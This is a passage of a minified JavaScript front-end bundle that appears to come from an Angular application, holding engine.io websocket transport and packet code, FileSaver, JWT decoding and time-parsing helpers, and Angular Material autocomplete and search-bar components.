g="";return!1!==this.opts.timestampRequests&&(_[this.opts.timestampParam]=u()),!this.supportsBinary&&!_.sid&&(_.b64=1),_=a.encode(_),this.opts.port&&("https"===S&&443!==Number(this.opts.port)||"http"===S&&80!==Number(this.opts.port))&&(g=":"+this.opts.port),_.length&&(_="?"+_),S+"://"+(-1!==this.opts.hostname.indexOf(":")?"["+this.opts.hostname+"]":this.opts.hostname)+g+this.opts.path+_}}},7967:(At,ae,d)=>{const n=d(851);At.exports={WebSocket:n.WebSocket||n.MozWebSocket,usingBrowserWebSocket:!0,defaultBinaryType:"arraybuffer"}},3909:(At,ae,d)=>{const n=d(3330),a=d(1510),s=d(3257),u=d(1067),{pick:c}=d(5028),{WebSocket:f,usingBrowserWebSocket:E,defaultBinaryType:_}=d(7967),S=d(1455)("engine.io-client:websocket"),g=typeof navigator<"u"&&"string"==typeof navigator.product&&"reactnative"===navigator.product.toLowerCase();class C extends n{constructor(H){super(H),this.supportsBinary=!H.forceBase64}get name(){return"websocket"}doOpen(){if(!this.check())return;const H=this.uri(),j=this.opts.protocols,U=g?{}:c(this.opts,"agent","perMessageDeflate","pfx","key","passphrase","cert","ca","ciphers","rejectUnauthorized","localAddress","protocolVersion","origin","maxPayload","family","checkServerIdentity");this.opts.extraHeaders&&(U.headers=this.opts.extraHeaders);try{this.ws=E&&!g?j?new f(H,j):new f(H):new f(H,j,U)}catch(G){return this.emit("error",G)}this.ws.binaryType=this.socket.binaryType||_,this.addEventListeners()}addEventListeners(){const H=this;this.ws.onopen=function(){H.onOpen()},this.ws.onclose=function(){H.onClose()},this.ws.onmessage=function(j){H.onData(j.data)},this.ws.onerror=function(j){H.onError("websocket error",j)}}write(H){const j=this;this.writable=!1;let U=H.length,G=0;const Q=U;for(;G<Q;G++)!function(Ce){a.encodePacket(Ce,j.supportsBinary,function(k){const K={};E||(Ce.options&&(K.compress=Ce.options.compress),j.opts.perMessageDeflate&&("string"==typeof k?Buffer.byteLength(k):k.length)<j.opts.perMessageDeflate.threshold&&(K.compress=!1));try{E?j.ws.send(k):j.ws.send(k,K)}catch{S("websocket closed before onclose event")}--U||(j.emit("flush"),setTimeout(function(){j.writable=!0,j.emit("drain")},0))})}(H[G])}onClose(){n.prototype.onClose.call(this)}doClose(){typeof this.ws<"u"&&(this.ws.close(),this.ws=null)}uri(){let H=this.query||{};const j=this.opts.secure?"wss":"ws";let U="";return this.opts.port&&("wss"===j&&443!==Number(this.opts.port)||"ws"===j&&80!==Number(this.opts.port))&&(U=":"+this.opts.port),this.opts.timestampRequests&&(H[this.opts.timestampParam]=u()),this.supportsBinary||(H.b64=1),H=s.encode(H),H.length&&(H="?"+H),j+"://"+(-1!==this.opts.hostname.indexOf(":")?"["+this.opts.hostname+"]":this.opts.hostname)+U+this.opts.path+H}check(){return!(!f||"__initialize"in f&&this.name===C.prototype.name)}}At.exports=C},5028:At=>{At.exports.pick=(ae,...d)=>d.reduce((n,a)=>(ae.hasOwnProperty(a)&&(n[a]=ae[a]),n),{})},3035:(At,ae,d)=>{const n=d(764),a=d(851);At.exports=function(s){const u=s.xdomain,c=s.xscheme,f=s.enablesXDR;try{if(typeof XMLHttpRequest<"u"&&(!u||n))return new XMLHttpRequest}catch{}try{if(typeof XDomainRequest<"u"&&!c&&f)return new XDomainRequest}catch{}if(!u)try{return new(a[["Active"].concat("Object").join("X")])("Microsoft.XMLHTTP")}catch{}}},7606:At=>{const ae=Object.create(null);ae.open="0",ae.close="1",ae.ping="2",ae.pong="3",ae.message="4",ae.upgrade="5",ae.noop="6";const d=Object.create(null);Object.keys(ae).forEach(a=>{d[ae[a]]=a}),At.exports={PACKET_TYPES:ae,PACKET_TYPES_REVERSE:d,ERROR_PACKET:{type:"error",data:"parser error"}}},3622:(At,ae,d)=>{const{PACKET_TYPES_REVERSE:n,ERROR_PACKET:a}=d(7606);let u;"function"==typeof ArrayBuffer&&(u=d(390));const f=(_,S)=>{if(u){const g=u.decode(_);return E(g,S)}return{base64:!0,data:_}},E=(_,S)=>"blob"===S&&_ instanceof ArrayBuffer?new Blob([_]):_;At.exports=(_,S)=>{if("string"!=typeof _)return{type:"message",data:E(_,S)};const g=_.charAt(0);return"b"===g?{type:"message",data:f(_.substring(1),S)}:n[g]?_.length>1?{type:n[g],data:_.substring(1)}:{type:n[g]}:a}},1e3:(At,ae,d)=>{const{PACKET_TYPES:n}=d(7606),a="function"==typeof Blob||typeof Blob<"u"&&"[object BlobConstructor]"===Object.prototype.toString.call(Blob),s="function"==typeof ArrayBuffer,f=(E,_)=>{const S=new FileReader;return S.onload=function(){const g=S.result.split(",")[1];_("b"+g)},S.readAsDataURL(E)};At.exports=({type:E,data:_},S,g)=>a&&_ instanceof Blob?S?g(_):f(_,g):s&&(_ instanceof ArrayBuffer||(E=>"function"==typeof ArrayBuffer.isView?ArrayBuffer.isView(E):E&&E.buffer instanceof ArrayBuffer)(_))?S?g(_):f(new Blob([_]),g):g(n[E]+(_||""))},1510:(At,ae,d)=>{const n=d(1e3),a=d(3622),s=String.fromCharCode(30);At.exports={protocol:4,encodePacket:n,encodePayload:(f,E)=>{const _=f.length,S=new Array(_);let g=0;f.forEach((C,z)=>{n(C,!1,H=>{S[z]=H,++g===_&&E(S.join(s))})})},decodePacket:a,decodePayload:(f,E)=>{const _=f.split(s),S=[];for(let g=0;g<_.length;g++){const C=a(_[g],E);if(S.push(C),"error"===C.type)break}return S}}},9441:function(At,ae){var d,a;void 0!==(a="function"==typeof(d=function(){"use strict";function u(g,C,z){var H=new XMLHttpRequest;H.open("GET",g),H.responseType="blob",H.onload=function(){S(H.response,C,z)},H.onerror=function(){console.error("could not download file")},H.send()}function c(g){var C=new XMLHttpRequest;C.open("HEAD",g,!1);try{C.send()}catch{}return 200<=C.status&&299>=C.status}function f(g){try{g.dispatchEvent(new MouseEvent("click"))}catch{var C=document.createEvent("MouseEvents");C.initMouseEvent("click",!0,!0,window,0,0,0,80,20,!1,!1,!1,!1,0,null),g.dispatchEvent(C)}}var E="object"==typeof window&&window.window===window?window:"object"==typeof self&&self.self===self?self:"object"==typeof global&&global.global===global?global:void 0,_=E.navigator&&/Macintosh/.test(navigator.userAgent)&&/AppleWebKit/.test(navigator.userAgent)&&!/Safari/.test(navigator.userAgent),S=E.saveAs||("object"!=typeof window||window!==E?function(){}:"download"in HTMLAnchorElement.prototype&&!_?function(g,C,z){var H=E.URL||E.webkitURL,j=document.createElement("a");j.download=C=C||g.name||"download",j.rel="noopener","string"==typeof g?(j.href=g,j.origin===location.origin?f(j):c(j.href)?u(g,C,z):f(j,j.target="_blank")):(j.href=H.createObjectURL(g),setTimeout(function(){H.revokeObjectURL(j.href)},4e4),setTimeout(function(){f(j)},0))}:"msSaveOrOpenBlob"in navigator?function(g,C,z){if(C=C||g.name||"download","string"!=typeof g)navigator.msSaveOrOpenBlob(function s(g,C){return typeof C>"u"?C={autoBom:!1}:"object"!=typeof C&&(console.warn("Deprecated: Expected third argument to be a object"),C={autoBom:!C}),C.autoBom&&/^\\s*(?:text\\/\\S*|application\\/xml|\\S*\\/\\S*\\+xml)\\s*;.*charset\\s*=\\s*utf-8/i.test(g.type)?new Blob(["\\ufeff",g],{type:g.type}):g}(g,z),C);else if(c(g))u(g,C,z);else{var H=document.createElement("a");H.href=g,H.target="_blank",setTimeout(function(){f(H)})}}:function(g,C,z,H){if((H=H||open("","_blank"))&&(H.document.title=H.document.body.innerText="downloading..."),"string"==typeof g)return u(g,C,z);var j="application/octet-stream"===g.type,U=/constructor/i.test(E.HTMLElement)||E.safari,G=/CriOS\\/[\\d]+/.test(navigator.userAgent);if((G||j&&U||_)&&typeof FileReader<"u"){var Q=new FileReader;Q.onloadend=function(){var k=Q.result;k=G?k:k.replace(/^data:[^;]*;/,"data:attachment/file;"),H?H.location.href=k:location=k,H=null},Q.readAsDataURL(g)}else{var oe=E.URL||E.webkitURL,Ce=oe.createObjectURL(g);H?H.location=Ce:location.href=Ce,H=null,setTimeout(function(){oe.revokeObjectURL(Ce)},4e4)}});E.saveAs=S.saveAs=S,At.exports=S})?d.apply(ae,[]):d)&&(At.exports=a)},764:At=>{try{At.exports=typeof XMLHttpRequest<"u"&&"withCredentials"in new XMLHttpRequest}catch{At.exports=!1}},3167:At=>{function d(a){this.message=a}(d.prototype=new Error).name="InvalidCharacterError",At.exports=typeof window<"u"&&window.atob&&window.atob.bind(window)||function n(a){var s=String(a).replace(/=+$/,"");if(s.length%4==1)throw new d("\'atob\' failed: The string to be decoded is not correctly encoded.");for(var c,f,u=0,E=0,_="";f=s.charAt(E++);~f&&(c=u%4?64*c+f:f,u++%4)?_+=String.fromCharCode(255&c>>(-2*u&6)):0)f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".indexOf(f);return _}},6815:(At,ae,d)=>{var n=d(3167);At.exports=function(s){var u=s.replace(/-/g,"+").replace(/_/g,"/");switch(u.length%4){case 0:break;case 2:u+="==";break;case 3:u+="=";break;default:throw"Illegal base64url string!"}try{return function a(s){return decodeURIComponent(n(s).replace(/(.)/g,function(u,c){var f=c.charCodeAt(0).toString(16).toUpperCase();return f.length<2&&(f="0"+f),"%"+f}))}(u)}catch{return n(u)}}},491:(At,ae,d)=>{"use strict";var n=d(6815);function a(s){this.message=s}(a.prototype=new Error).name="InvalidTokenError",At.exports=function(s,u){if("string"!=typeof s)throw new a("Invalid token specified");var c=!0===(u=u||{}).header?0:1;try{return JSON.parse(n(s.split(".")[c]))}catch(f){throw new a("Invalid token specified: "+f.message)}},At.exports.InvalidTokenError=a},4366:At=>{var ae=1e3,d=6e4,n=60*d,a=24*n;function _(S,g,C,z){var H=g>=1.5*C;return Math.round(S/C)+" "+z+(H?"s":"")}At.exports=function(S,g){g=g||{};var C=typeof S;if("string"===C&&S.length>0)return function c(S){if(!((S=String(S)).length>100)){var g=/^(-?(?:\\d+)?\\.?\\d+) *(milliseconds?|msecs?|ms|seconds?|secs?|s|minutes?|mins?|m|hours?|hrs?|h|days?|d|weeks?|w|years?|yrs?|y)?$/i.exec(S);if(g){var C=parseFloat(g[1]);switch((g[2]||"ms").toLowerCase()){case"years":case"year":case"yrs":case"yr":case"y":return 315576e5*C;case"weeks":case"week":case"w":return 6048e5*C;case"days":case"day":case"d":return C*a;case"hours":case"hour":case"hrs":case"hr":case"h":return C*n;case"minutes":case"minute":case"mins":case"min":case"m":return C*d;case"seconds":case"second":case"secs":case"sec":case"s":return C*ae;case"milliseconds":case"millisecond":case"msecs":case"msec":case"ms":return C;default:return}}}}(S);if("number"===C&&isFinite(S))return g.long?function E(S){var g=Math.abs(S);return g>=a?_(S,g,a,"day"):g>=n?_(S,g,n,"hour"):g>=d?_(S,g,d,"minute"):g>=ae?_(S,g,ae,"second"):S+" ms"}(S):function f(S){var g=Math.abs(S);return g>=a?Math.round(S/a)+"d":g>=n?Math.round(S/n)+"h":g>=d?Math.round(S/d)+"m":g>=ae?Math.round(S/ae)+"s":S+"ms"}(S);throw new Error("val is not a non-empty string or a valid number. val="+JSON.stringify(S))}},2855:(At,ae,d)=>{"use strict";d.d(ae,{PQ:()=>x,w5:()=>te});var n=d(1281),a=d(3353),s=d(4650),u=d(3238),c=d(2654),f=d(8929),E=d(8514),_=d(6787),S=d(1086),g=d(3753),C=d(6895),z=d(8184),H=d(7261),j=d(445),U=d(9521),G=d(4080),Q=d(4006),oe=d(9549),Ce=d(1059),k=d(7545),K=d(2986),se=d(2198),ee=d(4850),q=d(2868),we=d(8583);const Ye=new s.OlP("mat-autocomplete-default-options",{providedIn:"root",factory:function qe(){return{autoActiveFirstOption:!1,autoSelectActiveOption:!1}}}),De=new s.OlP("mat-autocomplete-scroll-strategy"),ve={provide:De,deps:[z.aV],useFactory:function re(m){return()=>m.scrollStrategies.reposition()}},We={provide:Q.JU,useExisting:(0,s.Gpc)(()=>pe),multi:!0};let Be=(()=>{class m{constructor(B,ie,Xe,it,wt,Vt,Gt,qt,u1,c1,It){this._element=B,this._overlay=ie,this._viewContainerRef=Xe,this._zone=it,this._changeDetectorRef=wt,this._dir=Gt,this._formField=qt,this._document=u1,this._viewportRuler=c1,this._defaults=It,this._componentDestroyed=!1,this._autocompleteDisabled=!1,this._manuallyFloatingLabel=!1,this._viewportSubscription=c.w.EMPTY,this._canOpenOnNextFocus=!0,this._closeKeyEventStream=new f.xQ,this._windowBlurHandler=()=>{this._canOpenOnNextFocus=this._document.activeElement!==this._element.nativeElement||this.panelOpen},this._onChange=()=>{},this._onTouched=()=>{},this.position="auto",this.autocompleteAttribute="off",this._overlayAttached=!1,this.optionSelections=(0,E.P)(()=>{const _t=this.autocomplete?this.autocomplete.options:null;return _t?_t.changes.pipe((0,Ce.O)(_t),(0,k.w)(()=>(0,_.T)(..._t.map(kt=>kt.onSelectionChange)))):this._zone.onStable.pipe((0,K.q)(1),(0,k.w)(()=>this.optionSelections))}),this._scrollStrategy=Vt}get autocompleteDisabled(){return this._autocompleteDisabled}set autocompleteDisabled(B){this._autocompleteDisabled=(0,n.Ig)(B)}ngAfterViewInit(){const B=this._getWindow();typeof B<"u"&&this._zone.runOutsideAngular(()=>B.addEventListener("blur",this._windowBlurHandler))}ngOnChanges(B){B.position&&this._positionStrategy&&(this._setStrategyPositions(this._positionStrategy),this.panelOpen&&this._overlayRef.updatePosition())}ngOnDestroy(){const B=this._getWindow();typeof B<"u"&&B.removeEventListener("blur",this._windowBlurHandler),this._viewportSubscription.unsubscribe(),this._componentDestroyed=!0,this._destroyPanel(),this._closeKeyEventStream.complete()}get panelOpen(){return this._overlayAttached&&this.autocomplete.showPanel}openPanel(){this._attachOverlay(),this._floatLabel()}closePanel(){this._resetLabel(),this._overlayAttached&&(this.panelOpen&&this._zone.run(()=>{this.autocomplete.closed.emit()}),this.autocomplete._isOpen=this._overlayAttached=!1,this._pendingAutoselectedOption=null,this._overlayRef&&this._overlayRef.hasAttached()&&(this._overlayRef.detach(),this._closingActionsSubscription.unsubscribe()),this._componentDestroyed||this._changeDetectorRef.detectChanges())}updatePosition(){this._overlayAttached&&this._overlayRef.updatePosition()}get panelClosingActions(){return(0,_.T)(this.optionSelections,this.autocomplete._keyManager.tabOut.pipe((0,se.h)(()=>this._overlayAttached)),this._closeKeyEventStream,this._getOutsideClickStream(),this._overlayRef?this._overlayRef.detachments().pipe((0,se.h)(()=>this._overlayAttached)):(0,S.of)()).pipe((0,ee.U)(B=>B instanceof u.rN?B:null))}get activeOption(){return this.autocomplete&&this.autocomplete._keyManager?this.autocomplete._keyManager.activeItem:null}_getOutsideClickStream(){return(0,_.T)((0,g.R)(this._document,"click"),(0,g.R)(this._document,"auxclick"),(0,g.R)(this._document,"touchend")).pipe((0,se.h)(B=>{const ie=(0,a.sA)(B),Xe=this._formField?this._formField._elementRef.nativeElement:null,it=this.connectedTo?this.connectedTo.elementRef.nativeElement:null;return this._overlayAttached&&ie!==this._element.nativeElement&&this._document.activeElement!==this._element.nativeElement&&(!Xe||!Xe.contains(ie))&&(!it||!it.contains(ie))&&!!this._overlayRef&&!this._overlayRef.overlayElement.contains(ie)}))}writeValue(B){Promise.resolve(null).then(()=>this._assignOptionValue(B))}registerOnChange(B){this._onChange=B}registerOnTouched(B){this._onTouched=B}setDisabledState(B){this._element.nativeElement.disabled=B}_handleKeydown(B){const ie=B.keyCode,Xe=(0,U.Vb)(B);if(ie===U.hY&&!Xe&&B.preventDefault(),this.activeOption&&ie===U.K5&&this.panelOpen&&!Xe)this.activeOption._selectViaInteraction(),this._resetActiveItem(),B.preventDefault();else if(this.autocomplete){const it=this.autocomplete._keyManager.activeItem,wt=ie===U.LH||ie===U.JH;ie===U.Mf||wt&&!Xe&&this.panelOpen?this.autocomplete._keyManager.onKeydown(B):wt&&this._canOpen()&&this.openPanel(),(wt||this.autocomplete._keyManager.activeItem!==it)&&(this._scrollToOption(this.autocomplete._keyManager.activeItemIndex||0),this.autocomplete.autoSelectActiveOption&&this.activeOption&&(this._pendingAutoselectedOption||(this._valueBeforeAutoSelection=this._element.nativeElement.value),this._pendingAutoselectedOption=this.activeOption,this._assignOptionValue(this.activeOption.value)))}}_handleInput(B){let ie=B.target,Xe=ie.value;"number"===ie.type&&(Xe=""==Xe?null:parseFloat(Xe)),this._previousValue!==Xe&&(this._previousValue=Xe,this._pendingAutoselectedOption=null,this._onChange(Xe),this._canOpen()&&this._document.activeElement===B.target&&this.openPanel())}_handleFocus(){this._canOpenOnNextFocus?this._canOpen()&&(this._previousValue=this._element.nativeElement.value,this._attachOverlay(),this._floatLabel(!0)):this._canOpenOnNextFocus=!0}_handleClick(){this._canOpen()&&!this.panelOpen&&this.openPanel()}_floatLabel(B=!1){this._formField&&"auto"===this._formField.floatLabel&&(B?this._formField._animateAndLockLabel():this._formField.floatLabel="always",this._manuallyFloatingLabel=!0)}_resetLabel(){this._manuallyFloatingLabel&&(this._formField.floatLabel="auto",this._manuallyFloatingLabel=!1)}_subscribeToClosingActions(){const B=this._zone.onStable.pipe((0,K.q)(1)),ie=this.autocomplete.options.changes.pipe((0,q.b)(()=>this._positionStrategy.reapplyLastPosition()),(0,we.g)(0));return(0,_.T)(B,ie).pipe((0,k.w)(()=>(this._zone.run(()=>{const Xe=this.panelOpen;this._resetActiveItem(),this.autocomplete._setVisibility(),this._changeDetectorRef.detectChanges(),this.panelOpen&&this._overlayRef.updatePosition(),Xe!==this.panelOpen&&(this.panelOpen?this.autocomplete.opened.emit():this.autocomplete.closed.emit())}),this.panelClosingActions)),(0,K.q)(1)).subscribe(Xe=>this._setValueAndClose(Xe))}_destroyPanel(){this._overlayRef&&(this.closePanel(),this._overlayRef.dispose(),this._overlayRef=null)}_assignOptionValue(B){const ie=this.autocomplete&&this.autocomplete.displayWith?this.autocomplete.displayWith(B):B;this._updateNativeInputValue(ie??"")}_updateNativeInputValue(B){this._formField?this._formField._control.value=B:this._element.nativeElement.value=B,this._previousValue=B}_setValueAndClose(B){const ie=B?B.source:this._pendingAutoselectedOption;ie&&(this._clearPreviousSelectedOption(ie),this._assignOptionValue(ie.value),this._onChange(ie.value),this.autocomplete._emitSelectEvent(ie),this._element.nativeElement.focus()),this.closePanel()}_clearPreviousSelectedOption(B){this.autocomplete.options.forEach(ie=>{ie!==B&&ie.selected&&ie.deselect()})}_attachOverlay(){let B=this._overlayRef;B?(this._positionStrategy.setOrigin(this._getConnectedElement()),B.updateSize({width:this._getPanelWidth()})):(this._portal=new G.UE(this.autocomplete.template,this._viewContainerRef,{id:this._formField?.getLabelId()}),B=this._overlay.create(this._getOverlayConfig()),this._overlayRef=B,this._handleOverlayEvents(B),this._viewportSubscription=this._viewportRuler.change().subscribe(()=>{this.panelOpen&&B&&B.updateSize({width:this._getPanelWidth()})})),B&&!B.hasAttached()&&(B.attach(this._portal),this._closingActionsSubscription=this._subscribeToClosingActions());const ie=this.panelOpen;this.autocomplete._setVisibility(),this.autocomplete._isOpen=this._overlayAttached=!0,this.panelOpen&&ie!==this.panelOpen&&this.autocomplete.opened.emit()}_getOverlayConfig(){return new z.X_({positionStrategy:this._getOverlayPosition(),scrollStrategy:this._scrollStrategy(),width:this._getPanelWidth(),direction:this._dir,panelClass:this._defaults?.overlayPanelClass})}_getOverlayPosition(){const B=this._overlay.position().flexibleConnectedTo(this._getConnectedElement()).withFlexibleDimensions(!1).withPush(!1);return this._setStrategyPositions(B),this._positionStrategy=B,B}_setStrategyPositions(B){const ie=[{originX:"start",originY:"bottom",overlayX:"start",overlayY:"top"},{originX:"end",originY:"bottom",overlayX:"end",overlayY:"top"}],Xe=this._aboveClass,it=[{originX:"start",originY:"top",overlayX:"start",overlayY:"bottom",panelClass:Xe},{originX:"end",originY:"top",overlayX:"end",overlayY:"bottom",panelClass:Xe}];let wt;wt="above"===this.position?it:"below"===this.position?ie:[...ie,...it],B.withPositions(wt)}_getConnectedElement(){return this.connectedTo?this.connectedTo.elementRef:this._formField?this._formField.getConnectedOverlayOrigin():this._element}_getPanelWidth(){return this.autocomplete.panelWidth||this._getHostWidth()}_getHostWidth(){return this._getConnectedElement().nativeElement.getBoundingClientRect().width}_resetActiveItem(){const B=this.autocomplete;B.autoActiveFirstOption?B._keyManager.setFirstItemActive():B._keyManager.setActiveItem(-1)}_canOpen(){const B=this._element.nativeElement;return!B.readOnly&&!B.disabled&&!this._autocompleteDisabled}_getWindow(){return this._document?.defaultView||window}_scrollToOption(B){const ie=this.autocomplete,Xe=(0,u.CB)(B,ie.options,ie.optionGroups);if(0===B&&1===Xe)ie._setScrollTop(0);else if(ie.panel){const it=ie.options.toArray()[B];if(it){const wt=it._getHostElement(),Vt=(0,u.jH)(wt.offsetTop,wt.offsetHeight,ie._getScrollTop(),ie.panel.nativeElement.offsetHeight);ie._setScrollTop(Vt)}}}_handleOverlayEvents(B){B.keydownEvents().subscribe(ie=>{(ie.keyCode===U.hY&&!(0,U.Vb)(ie)||ie.keyCode===U.LH&&(0,U.Vb)(ie,"altKey"))&&(this._pendingAutoselectedOption&&(this._updateNativeInputValue(this._valueBeforeAutoSelection??""),this._pendingAutoselectedOption=null),this._closeKeyEventStream.next(),this._resetActiveItem(),ie.stopPropagation(),ie.preventDefault())}),B.outsidePointerEvents().subscribe()}}return m.\\u0275fac=function(B){return new(B||m)(s.Y36(s.SBq),s.Y36(z.aV),s.Y36(s.s_b),s.Y36(s.R0b),s.Y36(s.sBO),s.Y36(De),s.Y36(j.Is,8),s.Y36(oe.G_,9),s.Y36(C.K0,8),s.Y36(H.rL),s.Y36(Ye,8))},m.\\u0275dir=s.lG2({type:m,inputs:{autocomplete:["matAutocomplete","autocomplete"],position:["matAutocompletePosition","position"],connectedTo:["matAutocompleteConnectedTo","connectedTo"],autocompleteAttribute:["autocomplete","autocompleteAttribute"],autocompleteDisabled:["matAutocompleteDisabled","autocompleteDisabled"]},features:[s.TTD]}),m})(),pe=(()=>{class m extends Be{constructor(){super(...arguments),this._aboveClass="mat-autocomplete-panel-above"}}return m.\\u0275fac=function(){let b;return function(ie){return(b||(b=s.n5z(m)))(ie||m)}}(),m.\\u0275dir=s.lG2({type:m,selectors:[["input","matAutocomplete",""],["textarea","matAutocomplete",""]],hostAttrs:[1,"mat-autocomplete-trigger"],hostVars:7,hostBindings:function(B,ie){1&B&&s.NdJ("focusin",function(){return ie._handleFocus()})("blur",function(){return ie._onTouched()})("input",function(it){return ie._handleInput(it)})("keydown",function(it){return ie._handleKeydown(it)})("click",function(){return ie._handleClick()}),2&B&&s.uIk("autocomplete",ie.autocompleteAttribute)("role",ie.autocompleteDisabled?null:"combobox")("aria-autocomplete",ie.autocompleteDisabled?null:"list")("aria-activedescendant",ie.panelOpen&&ie.activeOption?ie.activeOption.id:null)("aria-expanded",ie.autocompleteDisabled?null:ie.panelOpen.toString())("aria-owns",ie.autocompleteDisabled||!ie.panelOpen||null==ie.autocomplete?null:ie.autocomplete.id)("aria-haspopup",ie.autocompleteDisabled?null:"listbox")},exportAs:["matAutocompleteTrigger"],features:[s._Bn([We]),s.qOj]}),m})(),P=(()=>{class m{}return m.\\u0275fac=function(B){return new(B||m)},m.\\u0275mod=s.oAB({type:m}),m.\\u0275inj=s.cJS({providers:[ve],imports:[z.U8,u.Ng,u.BQ,C.ez,H.ZD,u.Ng,u.BQ]}),m})();var w=d(7392),R=d(4144),X=d(7340);const _e=["input"];function ct(m,b){if(1&m){const B=s.EpF();s.TgZ(0,"mat-form-field",6)(1,"input",7,8),s.NdJ("ngModelChange",function(Xe){s.CHM(B);const it=s.oxw();return s.KtG(it.value=Xe)})("ngModelChange",function(){s.CHM(B);const Xe=s.oxw();return s.KtG(Xe.updateChanges())})("blur",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onBlurring(Xe.value))})("keyup.enter",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onEnterring(Xe.value))})("focus",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onFocussing(Xe.value))}),s.qZA()()}if(2&m){const B=s.oxw();s.Q6J("@slideInOut",B.searchVisible)("appearance",B.appearance),s.xp6(1),s.Q6J("ngModel",B.value)("matAutocomplete",B.matAutocomplete)("placeholder",B.placeholder)}}function Je(m,b){if(1&m){const B=s.EpF();s.TgZ(0,"mat-form-field",6)(1,"input",9,8),s.NdJ("blur",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onBlurring(Xe.value))})("keyup.enter",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onEnterring(Xe.value))})("focus",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onFocussing(Xe.value))}),s.qZA()()}if(2&m){const B=s.oxw();s.Q6J("@slideInOut",B.searchVisible)("appearance",B.appearance),s.xp6(1),s.Q6J("placeholder",B.placeholder)("formControl",B.formControl)}}function Et(m,b){if(1&m){const B=s.EpF();s.TgZ(0,"mat-form-field",6)(1,"input",10,8),s.NdJ("blur",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onBlurring(Xe.value))})("keyup.enter",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onEnterring(Xe.value))})("focus",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onFocussing(Xe.value))}),s.qZA()()}if(2&m){const B=s.oxw();s.Q6J("@slideInOut",B.searchVisible)("appearance",B.appearance),s.xp6(1),s.Q6J("matAutocomplete",B.matAutocomplete)("placeholder",B.placeholder)("formControl",B.formControl)}}function Dt(m,b){if(1&m){const B=s.EpF();s.TgZ(0,"mat-form-field",6)(1,"input",11,8),s.NdJ("ngModelChange",function(Xe){s.CHM(B);const it=s.oxw();return s.KtG(it.value=Xe)})("ngModelChange",function(){s.CHM(B);const Xe=s.oxw();return s.KtG(Xe.updateChanges())})("blur",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onBlurring(Xe.value))})("keyup.enter",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onEnterring(Xe.value))})("focus",function(){s.CHM(B);const Xe=s.MAs(2),it=s.oxw();return s.KtG(it.onFocussing(Xe.value))}),s.qZA()()}if(2&m){const B=s.oxw();s.Q6J("@slideInOut",B.searchVisible)("appearance",B.appearance),s.xp6(1),s.Q6J("ngModel",B.value)("placeholder",B.placeholder)}}let Pt=(()=>{class m{constructor(){this.onChange=B=>{},this.onTouched=()=>{}}updateChanges(){this.onChange(this.value)}writeValue(B){this.value=B,this.updateChanges()}registerOnChange(B){this.onChange=B}registerOnTouched(B){this.onTouched=B}}return m.\\u0275fac=function(B){return new(B||m)},m.\\u0275dir=s.lG2({type:m}),m})();var Ie=(()=>{return(m=Ie||(Ie={}))[m.SIMPLE=0]="SIMPLE",m[m.FORMCONTROL=1]="FORMCONTROL",m[m.AUTOCOMPLETE=2]="AUTOCOMPLETE",m[m.FORMCONTROLANDAUTOCOMPLETE=3]="FORMCONTROLANDAUTOCOMPLETE",Ie;var m})();let te=(()=>{class m extends Pt{constructor(){super(...arguments),this.DISPLAY_TYPE=Ie,this.appearance="standard",this.placeholder="",this.alwaysOpen=!1,this.onBlur=new s.vpe,this.onClose=new s.vpe,this.onEnter=new s.vpe,this.onFocus=new s.vpe,this.onOpen=new s.vpe,this.searchVisible=!1}ngOnInit(){this.formControl||this.matAutocomplete?this.formControl&&this.matAutocomplete?this.mode=Ie.FORMCONTROLANDAUTOCOMPLETE:this.formControl?this.mode=Ie.FORMCONTROL:this.matAutocomplete&&(this.mode=Ie.AUTOCOMPLETE):this.mode=Ie.SIMPLE,this.alwaysOpen&&(this.searchVisible=!0)}close(){this.alwaysOpen||(this.searchVisible=!1),this.value="",this.updateChanges(),this.onClose.emit()}open(){this.searchVisible=!0,this.inputElement.nativeElement.focus(),this.onOpen.emit()}onBlurring(B){!B&&!this.alwaysOpen&&(this.searchVisible=!1),this.onBlur.emit(B)}onEnterring(B){this.onEnter.emit(B)}onFocussing(B){this.onFocus.emit(B)}}return m.\\u0275fac=function(){let b;return function(ie){return(b||(b=s.n5z(m)))(ie||m)}}(),m.\\u0275cmp=s.Xpm({type:m,selectors:[["mat-search-bar"]],viewQuery:function(B,ie){if(1&B&&s.Gf(_e,5),2&B){let Xe;s.iGM(Xe=s.CRH())&&(ie.inputElement=Xe.first)}},inputs:{appearance:"appearance",placeholder:"placeholder",alwaysOpen:"alwaysOpen",formControl:"formControl",matAutocomplete:"matAutocomplete"},outputs:{onBlur:"onBlur",onClose:"onClose",onEnter:"onEnter",onFocus:"onFocus",onOpen:"onOpen"},features:[s._Bn([{provide:Q.JU,useExisting:(0,s.Gpc)(()=>m),multi:!0}]),s.qOj],decls:10,vars:6,consts:[[3,"ngSwitch"],["class","mat-search_field",3,"appearance",4,"ngSwitchCase"],["class","mat-search_field",3,"appearance",4,"ngSwitchDefault"],[1,"mat-search_icons"],["matRipple","",1,"mat-search_icon-close",3,"click"],["matRipple","",1,"mat-search_icon-search",3,"click"],[1,"mat-search_field",3,"appearance"],["matInput","","type","text","autocapitalize","none",3,"ngModel","matAutocomplete","placeholder","ngModelChange","blur","keyup.enter","focus"],["input",""],["matInput","","type","text","autocapitalize","none",3,"placeholder","formControl","blur","keyup.enter","focus"],["matInput","","type","text","autocapitalize","none",3,"matAutocomplete","placeholder","formControl","blur","keyup.enter","focus"],["matInput","","type","text","autocapitalize","none",3,"ngModel","placeholder","ngModelChange","blur","keyup.enter","focus"]],template:function(B,ie){1&B&&(s.ynx(0,0),s.YNc(1,ct,3,5,"mat-form-field",1),s.YNc(2,Je,3,4,"mat-form-field",1),s.YNc(3,Et,3,5,"mat-form-field",1),s.